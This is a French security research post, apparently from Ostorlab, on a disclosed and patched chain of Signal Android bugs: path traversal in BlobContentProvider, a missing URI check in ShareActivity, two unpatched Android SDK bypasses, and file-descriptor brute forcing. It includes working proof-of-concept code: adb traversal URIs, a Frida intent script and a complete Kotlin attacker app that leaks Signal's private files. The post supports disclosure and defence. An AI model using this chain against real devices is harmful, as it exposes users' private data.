Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

De Signal au SDK Android : enchaîner path traversal, confusion de mimetype, contournement de contrôle de sécurité et bruteforce de descripteurs de fichiers pour un accès arbitraire aux fichiers

Cette analyse technique révèle comment des chaînes d'attaque sophistiquées — combinant path traversal, manipulation de liens symboliques et particularités du SDK Android — peuvent percer les défenses de Signal Android pour extraire des fichiers internes sensibles, malgré un chiffrement réputé resté intact. Signal a corrigé ces vulnérabilités en quelques jours, mais ces découvertes offrent des leçons essentielles sur la façon dont des bugs apparemment mineurs peuvent être enchaînés en exploits puissants, et sur la nécessité de plusieurs couches de défense même avec la meilleure architecture de sécurité

Introduction

Dans le sillage de la fuite de TeleMessage, un fork de Signal aux affirmations de sécurité trompeuses, nous avons décidé chez Ostorlab de passer en revue la sécurité de Signal lui-même — une application réputée pour ses pratiques de sécurité robustes. En utilisant notre plateforme automatisée de scan de vulnérabilités, nous avons découvert deux faiblesses dans Signal Android jusqu'à la version 7.44.1 couplées à deux vulnérabilités du SDK Android, qui pouvaient permettre l'accès à des fichiers internes, y compris l'accès à des bases de données chiffrées, à un sous-ensemble de contacts en clair, à des tokens de notification Firebase et au cache et aux cookies de la webview.

Avant d'entrer dans les détails techniques, nous tenons à souligner la réponse exceptionnelle de Signal à notre divulgation. L'équipe de sécurité de Signal a reconnu nos découvertes en seulement 3 heures et disposait de correctifs prêts en quelques jours — un exemple remarquable de la façon dont les vulnérabilités de sécurité devraient être traitées. Cette réactivité démontre l'engagement de Signal envers la sécurité des utilisateurs et établit une référence pour l'industrie.

Cet article propose une analyse technique approfondie de ces découvertes.

Path traversal dans BlobContentProvider

Détection de la vulnérabilité de path traversal

  • Type : Path traversal via des segments décodés en URL
  • Composant : BlobContentProvider (BlobProvider.java:188)
  • Impact : Accès en lecture aux fichiers internes de l'application
  • Statut : Corrigé

Notre analyse statique automatisée a identifié une vulnérabilité de path traversal via la propagation de taint jusqu'à la méthode File <init> dans org.thoughtcrime.securesms.providers.BlobContentProvider.

Flux d'analyse de taint

BlobContentProvider est déclaré dans AndroidManifest.xml avec android:exported="false" et android:grantUriPermissions="true".

   <provider android:name=".providers.BlobContentProvider"
              android:authorities="${applicationId}.blob"
              android:exported="false"
              android:grantUriPermissions="true" />

Une vulnérabilité de path traversal existe dans org.thoughtcrime.securesms.providers.BlobContentProvider (plus précisément BlobProvider.java:188). Cette faille permet la manipulation des chemins de fichiers lors de la construction des noms de fichiers blob internes.

L'accès à la méthode openFile de BlobContentProvider se fait via une Uri. Cela nécessite en général des privilèges élevés (par exemple un accès adb shell) ou un scénario où grantUriPermissions est accordé pour une URI manipulable.

BlobContentProvider implémente openFile (BlobContentProvider.java:34) comme gestionnaire des requêtes de lecture. Cette fonction openFile prend en argument une Uri contrôlée par l'utilisateur :

 public ParcelFileDescriptor openFile(@NonNull Uri uri, 
                                      @NonNull String mode) 
                                      throws FileNotFoundException

L'argument uri est ensuite transmis à BlobProvider.getInstance().getStream (BlobContentProvider.java:38) :

InputStream stream = BlobProvider.getInstance().getStream(AppDependencies.getApplication(), uri))

Qui appelle ensuite getBlobRepresentation (BlobProvider.java:161) :

 return 
  getBlobRepresentation(
  context,
  uri,
  ByteArrayMediaDataSource::new,
  file->EncryptedMediaDataSource.createForDiskBlob(getAttachmentSecret(context),file));

À BlobProvider.java:188, le ID_PATH_SEGMENT (5ᵉ segment) de l'argument uri est extrait. Cette chaîne extraite est utilisée pour construire le nom de fichier, qui est ensuite combiné avec un chemin de répertoire et passé au constructeur File :

        String id        = uri.getPathSegments().get(ID_PATH_SEGMENT);
        String directory = getDirectory(storageType);
        File   file      = new File(getOrCreateDirectory(context, directory), buildFileName(id));

La méthode Uri.getPathSegments() (extrait ci-dessous) effectue un décodage URL sur chaque segment du chemin. Cela signifie que les séquences de path traversal encodées en URL (par exemple %2F pour /) sont décodées en leurs caractères littéraux avant que l'objet File ne soit construit, ce qui permet au traversal de se produire.

// Excerpt from Android SDK's Uri.java (similar to getPathSegments implementation)
/**
 * Gets the individual path segments. Parses them if necessary.
 *
 * @return parsed path segments or null if this isn't a hierarchical
 * URI
 */
PathSegments getPathSegments() {
    if (pathSegments != null) {
        return pathSegments;
    }
    String path = getEncoded();
    if (path == null) {
        return pathSegments = PathSegments.EMPTY;
    }
    PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
    int previous = 0;
    int current;
    while ((current = path.indexOf('/', previous)) > -1) {
              if (previous < current) {
            String decodedSegment = decode(path.substring(previous, current));             segmentBuilder.add(decodedSegment);
        }
        previous = current + 1;
    }
       if (previous < path.length()) {
        segmentBuilder.add(decode(path.substring(previous)));    }
    return pathSegments = segmentBuilder.build();
}

Dans l'implémentation de getPathSegments, aucune désinfection des séquences de path traversal (../ ou leurs équivalents encodés en URL) n'est effectuée sur l'id extrait, après décodage et avant la construction du chemin de fichier.

La commande adb shell content read suivante peut être utilisée pour déclencher le path traversal :

adb shell content read --uri "content://org.thoughtcrime.securesms.blob
                             /blob/single-session-disk/text_plain/test.txt
                             /1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml"

Le hook du constructeur File révèle le traitement de la charge de path traversal :

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::4020 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/
test.txt/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
...
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../shared_prefs/org.thoughtcrime.securesms_preferences.xml.blob (1)
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[!] Exception in openFile: Error: java.io.FileNotFoundException

Comme le montre l'extrait, la charge de path traversal ../../ est utilisée par le constructeur File. Une lecture directe du fichier ciblé est empêchée car la fonction buildFileName ajoute une extension .blob au nom du fichier (org.thoughtcrime.securesms_preferences.xml.blob), provoquant une FileNotFoundException, sauf si le fichier cible possède explicitement cette extension.

Pour contourner potentiellement ce traitement du nom de fichier, un lien symbolique pourrait être créé pour pointer vers le fichier souhaité. Le nom de ce lien symbolique (sans extension .blob) serait alors transmis au Content Provider. Cela contournerait efficacement la vérification de l'extension .blob, puisque le constructeur File recevrait le nom du lien symbolique, qui se résout ensuite vers le fichier cible :

Création d'un lien symbolique nommé toto.blob dans un répertoire accessible en écriture (comme /data/local/tmp) pointant vers un fichier cible sensible dans les données privées de Signal (targets.xml) :

806290 lrwxrwxrwx 1 root  root         98 2025-05-19 19:25 toto.blob -> /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml

adb shell content read --uri "content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto"

Le hook du constructeur File révèle le traitement de la charge de path traversal :

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::27976 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms
[+] Child name: app_single_session_blobs
[+] Stack trace:
    java.io.File.<init>(Native Method)
    android.app.ContextImpl.makeFilename(ContextImpl.java:2861)
    android.app.ContextImpl.getDir(ContextImpl.java:2558)
    android.content.ContextWrapper.getDir(ContextWrapper.java:318)
    org.thoughtcrime.securesms.providers.BlobProvider.getOrCreateDirectory(BlobProvider.java:452)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../../../../../../../../tmp/toto.blob
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[+] openFile returned successfully

Tout fichier lu via ce mécanisme, même un fichier en clair, sera passé par une routine de déchiffrement. Par conséquent, si un fichier en clair était lu avec succès, son contenu serait déchiffré, produisant une sortie brouillée et inintelligible.

La sortie est cependant déchiffrée avec les premiers octets du fichier. Les fichiers ayant des en-têtes prévisibles peuvent tout de même être récupérés. Cette vulnérabilité peut être enchaînée avec la vulnérabilité de lecture de fichier (section suivante) pour accéder à des fichiers en clair.

Signal a corrigé le problème en encodant / et d'autres caractères spéciaux :

  private static @Nullable String getId(@NonNull Uri uri) {
    if (isAuthority(uri)) {
      return Uri.encode(uri.getPathSegments().get(ID_PATH_SEGMENT));
    }
    return null;
  }
@@ -422,7 +422,7 @@ public static boolean isAuthority(@NonNull Uri uri) {
  }

  private static @NonNull String buildFileName(@NonNull String id) {
    return Uri.encode(id) + ".blob";
  }

  private static @NonNull String getDirectory(@NonNull StorageType storageType) {

L'utilisation de Uri.encode() garantit que les caractères / restent encodés en %2F, empêchant les attaques de path traversal.

Vulnérabilité de lecture de fichier dans ShareActivity

Extrait de code de la vulnérabilité de lecture de fichier de ShareActivity

  • Type : Lecture arbitraire de fichier via manipulation d'intent
  • Composant : ShareActivity
  • Impact : Exfiltration de fichiers privés de l'application
  • Statut : Corrigé
   <activity android:name=".sharing.v2.ShareActivity"
              android:theme="@style/Theme.Signal.DayNight.NoActionBar"
              android:exported="true"
              android:excludeFromRecents="true"
              android:taskAffinity=""
              android:windowSoftInputMode="stateHidden"
              android:configChanges="touchscreen|keyboard|keyboardHidden|orientation|screenLayout|screenSize">
        <intent-filter>
            <action android:name="android.intent.action.SEND" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="audio/*" />
            <data android:mimeType="image/*" />
            <data android:mimeType="text/plain" />
            <data android:mimeType="video/*" />
            <data android:mimeType="application/*"/>
            <data android:mimeType="text/*"/>
            <data android:mimeType="*/*"/>
        </intent-filter>

        <intent-filter>
            <action android:name="android.intent.action.SEND_MULTIPLE" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="image/*" />
            <data android:mimeType="video/*" />
        </intent-filter>

      <meta-data
          android:name="android.service.chooser.chooser_target_service"
          android:value="androidx.sharetarget.ChooserTargetServiceCompat"
          tools:targetApi="23" />

    </activity>

À la réception d'un intent, le callback onCreate (ShareActivity.kt:84) appelle getUnresolvedShareData (ShareActivity.kt:87) pour valider et traiter les données de l'intent entrant.

La méthode getUnresolvedShareData (ShareActivity.kt) traite les intents différemment selon leur action et leurs extras (par exemple ACTION_SEND_MULTIPLE avec EXTRA_TEXT à la ligne 198, ACTION_SEND_MULTIPLE avec EXTRA_STREAM à la ligne 213, etc.). Le contenu de l'intent est finalement encapsulé dans l'une des classes scellées UnresolvedShareData (UnresolvedShareData.kt) :

 sealed class UnresolvedShareData {
  data class ExternalMultiShare(val uris: List<Uri>) : UnresolvedShareData()
  data class ExternalSingleShare(val uri: Uri, 
                                 val mimeType: String?, 
                                 val text: CharSequence?) : UnresolvedShareData()
  data class ExternalPrimitiveShare(val text: CharSequence) : UnresolvedShareData()
}

Ces données sont ensuite traitées par une fonction resolve dans ShareRepository.kt:25 :

fun resolve(unresolvedShareData: UnresolvedShareData): Single<out ResolvedShareData> {
 return when (unresolvedShareData) {
   is UnresolvedShareData.ExternalMultiShare -> Single.fromCallable { resolve(unresolvedShareData) }
   is UnresolvedShareData.ExternalSingleShare -> Single.fromCallable { resolve(unresolvedShareData) }
  ...
    }.subscribeOn(Schedulers.io())
  }

Pour les intents UnresolvedShareData.ExternalSingleShare, un contrôle de sécurité crucial est effectué via UriUtil.isValidExternalUri (UriUtil.kt:21) :

private fun resolve(multiShareExternal: UnresolvedShareData.ExternalSingleShare): ResolvedShareData {
    if (!UriUtil.isValidExternalUri(appContext, multiShareExternal.uri)) {
      return ResolvedShareData.Failure
    }
}
// UriUtil.kt:21
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
      try {
        val file = File(uri.path)

        return file.canonicalPath == file.path &&
          !file.canonicalPath.startsWith("/data") &&
          !file.canonicalPath.contains(context.packageName)
      } catch (e: IOException) {
        return false
      }
    } else {
      return true
    }
  }

Cette fonction isValidExternalUri empêche correctement les URI file:// de pointer vers les répertoires de données internes de l'application (/data) ou vers le nom de package de l'application elle-même.

Cependant, pour les intents UnresolvedShareData.ExternalMultiShare (ShareRepository.kt, resolve pour ExternalMultiShare), ce contrôle critique isValidExternalUri est absent. Les seules conditions de traitement sont que l'intent possède un mimeType correspondant à une image ou une vidéo (MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)).

Cela permet à une application malveillante de fournir une URI file:// pointant vers n'importe quel fichier du répertoire de données privées de Signal. Lorsqu'un tel intent est traité, les routines internes de gestion des médias de Signal lisent le contenu du fichier privé spécifié puis le copient dans son propre stockage blob privé interne (app_single_session_blobs).

Le script Frida suivant montre comment une application malveillante peut forger et envoyer un intent ACTION_SEND_MULTIPLE à ShareActivity, forçant Signal à lire un fichier sensible (targets.xml, qui contient les noms de contacts de la victime) depuis son répertoire de données privées :

Java.perform(function () {
    try {
        var Intent = Java.use('android.content.Intent');

        var intent = Intent.$new();


        intent.setAction(Intent.ACTION_SEND_MULTIPLE.value);
        intent.setType("image/png");


        var Uri = Java.use('android.net.Uri');
        var uri1 = Uri.parse("file://data/data/org.thoughtcrime.securesms"+
                            "/files/ShortcutInfoCompatSaver_share_targets/targets.xml"); 
        var uri2 = Uri.parse("file://data/tmp/file.png"); 
        var ArrayList = Java.use('java.util.ArrayList');
        var uriList = ArrayList.$new();
        uriList.add(uri1);
        uriList.add(uri2);


        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM.value, uriList);

        var ComponentName = Java.use('android.content.ComponentName');
        var component = ComponentName.$new(
            "org.thoughtcrime.securesms",
            "org.thoughtcrime.securesms.sharing.v2.ShareActivity"
        );
        intent.setComponent(component);

        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);

        var ActivityThread = Java.use('android.app.ActivityThread');
        var context = ActivityThread.currentApplication().getApplicationContext();
        context.startActivity(intent);
        console.log("Intent sent successfully!");
    } catch (e) {
        console.error("Error sending intent: " + e);
    }
});

Après l'envoi réussi de l'intent forgé, Signal lit le contenu de targets.xml et crée un nouveau fichier blob dans son stockage privé, généralement dans app_single_session_blobs. L'existence de ce nouveau blob confirme la lecture de fichier interne arbitraire :

find . -name *blob | xargs ls -ali                                                                                                   
./app_single_session_blobs/ad7843bd-5377-46ea-9a85-fe78d9f86050.blob
./app_single_session_blobs/e9dfcb56-c005-4150-bbf3-ca70960c05ab.blob

Les nouveaux fichiers blob créés sont stockés sous une forme chiffrée dans le répertoire de données privées de Signal. Bien que ShareActivity facilite une lecture et une copie internes, l'application malveillante n'obtient pas d'accès direct au contenu en clair. Pour récupérer le contenu de ces blobs, une opération de lecture distincte via BlobContentProvider serait nécessaire.

Pour exploiter pleinement cette lecture de fichier, trois problèmes doivent être résolus : (1) une exception de sécurité imposée par le SDK Android, (2) une validation du type MIME imposée par Signal à l'aide du SDK Android, et (3) deviner le nom de fichier aléatoire généré avec un UUID 4.

Tous ces problèmes sont cependant contournables grâce à deux nouvelles vulnérabilités découvertes dans le SDK Android, et en exploitant la vulnérabilité de path traversal pour contourner l'aléatoire du nom de fichier. Les problèmes du SDK Android ne seront pas corrigés en raison de contraintes de compatibilité ascendante et de faisabilité technique.

Exception de sécurité d'URI de fichier et confusion de type de fichier

Exception de sécurité d'URI de fichier bloquant l'accès au fichier
Le principe du bug précédent repose sur la capacité à transmettre une URI file:// depuis une application malveillante pouvant se faire passer pour n'importe quel type de fichier tout en référençant un fichier de n'importe quel type.

L'envoi de l'intent suivant depuis une application malveillante déclenche l'erreur suivante :

   fun triggerVulnerability(): Boolean {
        val intent = Intent().apply {
            action = Intent.ACTION_SEND_MULTIPLE
            type = "image/png"
        };

        var uris = ArrayList<Uri>()
        var uri1 = Uri.parse("file:///data/data/org.thoughtcrime.securesms/" +
                "shared_prefs/org.thoughtcrime.securesms_preferences.xml");
        uris.add(uri1);

        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
        intent.putExtra("android.intent.extra.shortcut.ID", "0");

        startActivity(intent)
        return true
    }

Configuration StrictMode pour contourner FileUriExposedException

L'URI est bloquée par Android, qui signale une FileUriExposedException.

Le contrôle est cependant trivialement contournable à cause d'un cas limite sur la vérification du préfixe system, d'où le fait que l'URL suivante permette de passer un schéma file://system/../data/ et de contourner l'exception de sécurité.

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/net/Uri.java;l=2399?q=checkFIleUriExposed

   public void checkFileUriExposed(String location) {
        if ("file".equals(getScheme())
                && (getPath() != null) && !getPath().startsWith("/system/")) {
            StrictMode.onFileUriExposed(this, location);
        }
    }

Le passage de cette URI permet d'atteindre Signal, mais elle ne passera pas un contrôle sur le type d'URI en raison d'une vérification du type MIME correspondant à une image ou une vidéo

ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.urisAdd commentMore actions
      .filter { UriUtil.isValidExternalUri(appContext, it) }
      .associateWith { uri -> getMimeType(appContext, uri, null) }
      .filterValues {
        MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
      }

Le contrôle utilise la méthode MediaTypeMap pour obtenir l'extension de fichier à partir de l'URL

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/webkit/MimeTypeMap.java;l=45?q=MimeTypeMap

   public static String getFileExtensionFromUrl(String url) {
        if (!TextUtils.isEmpty(url)) {
            int fragment = url.lastIndexOf('#');
            if (fragment > 0) {
                url = url.substring(0, fragment);
            }

            int query = url.lastIndexOf('?');
            if (query > 0) {
                url = url.substring(0, query);
            }

            int filenamePos = url.lastIndexOf('/');
            String filename =
                0 <= filenamePos ? url.substring(filenamePos + 1) : url;

            // if the filename contains special characters, we don't
            // consider it valid for our matching purposes:
            if (!filename.isEmpty() &&
                Pattern.matches("[a-zA-Z_0-9\\.\\-\\(\\)\\%]+", filename)) {
                int dotPos = filename.lastIndexOf('.');
                if (0 <= dotPos) {
                    return filename.substring(dotPos + 1);
                }
            }
        }

        return "";
    }

L'implémentation est cependant non sécurisée et vulnérable, permettant à n'importe quelle extension de fichier de se faire passer pour une autre extension. Le problème provient de l'utilisation de lastIndexOf sur ? et /, ce qui fait que la méthode traite /a.png au lieu de toto.xml dans l'exemple ci-dessous :

file://folder/toto.xml?/a.png?

En enchaînant ces deux problèmes du SDK Android, il devient possible de transmettre n'importe quelle URI file:// et d'accéder à n'importe quel fichier interne de Signal, quel que soit son type. Le défi suivant est de deviner le nom UUID4.

Caractère aléatoire du nom de fichier

ShareActivity crée des fichiers avec des noms aléatoires utilisant un UUID 4 imprévisible. Pour y accéder depuis le content provider, il faudrait connaître l'id du blob.

Cela peut cependant être contourné en enchaînant le path traversal et en accédant directement aux descripteurs de fichiers. Tout fichier ouvert renvoie un numéro de descripteur de fichier. Il s'agit généralement d'un petit nombre incrémental, facile à attaquer par force brute. De plus, le descripteur de fichier dispose d'un lien symbolique vers le descripteur de fichier ouvert, présent à /proc/<pid>/fd/<fd_number>.

Les numéros de descripteurs de fichiers sont facilement prévisibles, comme on peut le voir dans la trace ci-dessous montrant le blob ouvert avec le descripteur de fichier 251 (0xfb).

Attaque de prédiction de descripteur de fichier montrant le fd 251

Nous pouvons également confirmer la création du descripteur de fichier en surveillant le dossier fd, comme le montre la capture d'écran ci-dessous :

Lien symbolique de descripteur de fichier dans le système de fichiers proc

Il est donc possible pour une application malveillante de déclencher un intent répété avec le flag FLAG_ACTIVITY_NEW_TASK pour garantir la création de plusieurs activités. En parallèle, l'application malveillante tentera de lire tous les liens symboliques jusqu'à obtenir une correspondance ; voici un exemple de code pour y parvenir :

package co.ostorlab.malsignal

import android.content.Intent
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.system.Os
import android.util.Log
import androidx.activity.ComponentActivity
import java.io.File

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        triggerSecurityException()
    }

    private fun createSymlinks() {
        // Create 100 symbolic links from number.blob to /proc/self/fd/number
        for (i in 0..99) {
            val symlinkFile = File("/data/data/co.ostorlab.malsignal", "$i.blob")
            // Delete if it exists, to recreate it.
            if (symlinkFile.exists())
                symlinkFile.delete()


            Os.symlink("/proc/self/fd/$i", symlinkFile.absolutePath)
            symlinkFile.setReadable(true, false)
            symlinkFile.setWritable(true, false)
            Log.d("PoC", "Created symlink: ${symlinkFile.absolutePath} -> /proc/self/fd/$i")
        }
    }

    fun triggerSecurityException(): Boolean {
        createSymlinks()

        // Thread to continuously send intents to Signal to force it to open its preferences file
        Thread {
            while (true) {
                val intent = Intent().apply {
                    action = Intent.ACTION_SEND_MULTIPLE
                    type = "image/png"
                    setPackage("org.thoughtcrime.securesms")
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                }

                val uris = ArrayList<Uri>()
                val uri1 = Uri.parse("file:///system/../data/data/org.thoughtcrime.securesms/shared_prefs/org.thoughtcrime.securesms_preferences.xml?/a.png?")
                uris.add(uri1)

                intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris)
                intent.putExtra("android.intent.extra.shortcut.ID", "1");

                try {
                    startActivity(intent)
                } catch (e: Exception) {
                    Log.e("PoC", "Error starting activity for intent sending thread", e)
                }
            }
        }.start()

        // Thread to continuously query Signal's BlobContentProvider to race and read the FD
        Thread {
            val signalBlobProviderAuthority = "org.thoughtcrime.securesms.blob"
            // Path traversal to get from Signal's blob dir to our cache dir.
            // Assumes blob dir is 2 levels deep, e.g., /data/data/pkg/files/blobs
            val traversalPath = "blob/single-session-disk/text_plain/test.txt/1024/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fco.ostorlab.malsignal"

            while (true) {
                for (i in 0..300) {
                    val maliciousUri = Uri.parse("content://$signalBlobProviderAuthority/$traversalPath$i")
                    try {
                        contentResolver.openInputStream(maliciousUri)?.use { inputStream ->
                            val content = inputStream.bufferedReader().readText()
                            if (content.isNotBlank()) {
                                Log.d("PoC", "SUCCESS! Leaked content from FD $i:\n$content")
                            }
                        }
                    } catch (e: Exception) {
                        // This is expected to fail most of the time as we are racing.
                    }
                }
            }
        }.start()

        return true
    }
}

Bonus : résolution et analyse TOCTOU

Signal a corrigé la vulnérabilité de ShareActivity en mettant en œuvre une validation d'URI complète. Cependant, ce correctif comporte une vulnérabilité théorique de type Time-of-Check Time-of-Use (TOCTOU) qui, bien qu'intéressante sur le plan académique, ne peut pas être exploitée en pratique en raison des contraintes du système de fichiers d'Android.

Signal a ajouté une validation via la méthode isValidExternalUri :

/**
 * Ensures that an external URI is valid and doesn't contain any references to internal files or
 * any other trickiness.
 */
@JvmStatic
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
        try {
            val file = File(uri.path)
            return file.canonicalPath == file.path &&
                !file.canonicalPath.startsWith("/data") &&
                !file.canonicalPath.contains(context.packageName)
        } catch (e: IOException) {
            return false
        }
    } else {
        return true
    }
}

Cette validation est appliquée à toutes les URI dans ShareActivity :

private fun resolve(externalMultiShare: UnresolvedShareData.ExternalMultiShare): ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.uris
        .filter { UriUtil.isValidExternalUri(appContext, it) }  // Validation happens here
        .associateWith { uri -> getMimeType(appContext, uri, null) }
        .filterValues {
            MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
        }
    // ... rest of processing
}

La validation effectue trois contrôles critiques pour les URI file:// :

  1. Vérification du chemin canonique : file.canonicalPath == file.path
  2. Empêche le détournement par lien symbolique en s'assurant que le chemin résolu correspond au chemin d'origine
  3. Bloque toute indirection par liens symboliques

  4. Blocage du répertoire de données : !file.canonicalPath.startsWith("/data")

  5. Empêche l'accès aux données privées de n'importe quelle application
  6. Bloque l'ensemble de la partition /data où résident les fichiers sensibles

  7. Vérification du nom de package : !file.canonicalPath.contains(context.packageName)

  8. Défense supplémentaire contre l'accès aux fichiers de Signal
  9. Couvre les cas limites où des fichiers pourraient exister en dehors de /data

Une vulnérabilité TOCTOU existe en raison de l'écart temporel entre la validation et l'utilisation réelle du fichier :

Temps T1 : isValidExternalUri() vérifie le fichier - Lit le chemin canonique - Valide qu'il est sûr - Renvoie true

Temps T2 : ShareActivity traite le fichier - Ouvre et lit le fichier - Copie vers le stockage blob

  1. L'attaquant fournit un chemin de fichier légitime (par exemple /sdcard/innocent.jpg)
  2. La validation réussit au temps T1
  3. Entre T1 et T2, l'attaquant remplace le fichier par un lien symbolique vers /data/data/org.thoughtcrime.securesms/private_file
  4. ShareActivity lit le fichier privé au temps T2

L'architecture du système de fichiers d'Android empêche l'exploitation de ce TOCTOU pour les raisons suivantes :

1. Accès en écriture limité :

/data/        ← Only writable by apps in their own directories
/sdcard/      ← Writable but doesn't support symlinks
/system/      ← Read-only
/vendor/      ← Read-only
/tmp/         ← Maps to /data/

2. Contraintes du stockage externe :

  • Le système de fichiers FUSE d'Android pour le stockage externe (/sdcard) bloque explicitement la création de liens symboliques
  • Toute tentative de création d'un lien symbolique échoue avec Operation not permitted :
vbox86p:/data/data/org.thoughtcrime.securesms # ln -s /data/local/tmp/target /sdcard/link
ln: cannot create symbolic link from '/data/local/tmp/target' to '/sdcard/link': Function not implemented

4. Conditions théoriques de contournement : Pour que ce TOCTOU soit exploitable, un attaquant aurait besoin de :

  • Un accès en écriture à un répertoire hors de /data prenant en charge les liens symboliques
  • La capacité de créer/modifier des fichiers dans ce répertoire

Mise en perspective

Voici un schéma montrant comment les différents problèmes de Signal et du SDK Android peuvent être enchaînés pour lire un fichier dans l'application Signal :

  1. Bruteforcer des intents vers ShareActivity pour déclencher la lecture de fichiers internes
  2. Le fichier interne est chiffré et ajouté à BlobProvider
  3. BlobProvider génère un nom de fichier UUID aléatoire et l'ajoute à la base de données interne
  4. L'application malveillante bruteforce et exploite le path traversal en ciblant les liens symboliques pointant vers les descripteurs de fichiers
  5. BlobProvider pointera vers le fichier symbolique, lisant le descripteur de fichier pointant vers le fichier réel
  6. BlobProvider déchiffrera et renverra le contenu du fichier en clair, la clé étant stockée dans l'en-tête du fichier
  7. Le fichier est finalement renvoyé à l'application en clair

Le descripteur de fichier étant éphémère, cette approche doit être répétée en boucle jusqu'à ce que le fichier cible puisse être exfiltré.

Implémentation de la boucle d'attaque temporelle sur descripteur de fichier

Implications et leçons de sécurité

